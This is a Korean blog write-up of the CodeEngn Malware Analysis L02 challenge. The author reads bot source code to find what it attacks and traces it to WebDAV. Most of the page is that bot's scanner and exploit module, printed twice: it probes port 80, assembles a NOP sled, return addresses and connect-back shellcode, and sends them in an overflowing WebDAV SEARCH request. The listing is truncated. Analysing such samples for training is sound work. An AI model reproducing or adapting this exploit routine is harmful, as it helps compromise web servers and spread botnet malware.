본문 바로가기

Malware Analysis

[CodeEngn] Malware Analysis L02

이번엔 '무엇'을 공격하는 것인지 찾아야 한다.

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); }

	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }

bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096];
	char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000);
	unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin;
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET;
	ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	free(szReqBuf); xClose(sSocket); return false; }

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					);
	iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					);
	iPos+=iShellSize;
	iSCSize=iPos;
	iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }	
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }

 

다음의 순서로 3가지가 정의되어 있다.

char body[]
void CScannerMalware_L02::StartScan(const CString &sHost)
bool CScannerMalware_L02::Exploit(const CString &sHost)

 

Scan이란 단어가 보인다. 포트를 스캐닝하나 본데, 코드를 자세히 봐보자.

void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); }

	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }

80 포트만을 찾고 있다.

http를 대상으로 어떠한 exploit을 시행하고 싶은 모양이다.

 

Exploit 코드를 살펴보자.

bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096];
	char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000);
	unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin;
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET;
	ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	free(szReqBuf); xClose(sSocket); return false; }

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					);
	iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					);
	iPos+=iShellSize;
	iSCSize=iPos;
	iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }	
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }

참고로 위 함수는 잘려있다. (함수를 닫는 중괄호가 없음)

 

코드를 살펴보면,

소켓을 연결하고,

shellcode라는 것도 보이고,

맨 위에서 선언했던 body를 사용해서 버퍼를 만들고

소켓을 이용해 WriteRead 하는 코드가 있다.

 

여기까지 정리해 보면,

80 포트로 Exploit payload를 보내서 공격한다.

이다.

 

이 문제에서 찾고자 하는 것은 '무엇을' 공격하는가 이기 때문에 다양한 키워드로 시도해 보았다.

http, 80 port, web, website, xml 등등.

그런데 되질 않는다. 조금 더 살펴보자.

 

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

이걸 http request로 보내게 되므로 이게 페이로드 일 것이다.

여기서 무얼 공격하려는지 알아내보자.

 

가장 먼저 보이는 것은 sql이다.

db를 노리는 걸까? (db도 아니었다.)

 

그러면 위 코드에서 뭔지 모르겠는 DAV라는 키워드를 검색해 보자.

이건 아니고..

요기 있네.

'Malware Analysis' 카테고리의 다른 글

[CodeEngn] Malware Analysis L06  (0) 2023.08.06
[CodeEngn] Malware Analysis L05  (0) 2023.08.06
[CodeEngn] Malware Analysis L04  (0) 2023.08.06
[CodeEngn] Malware Analysis L03  (0) 2023.08.06
[CodeEngn] Malware Analysis L01  (0) 2023.08.06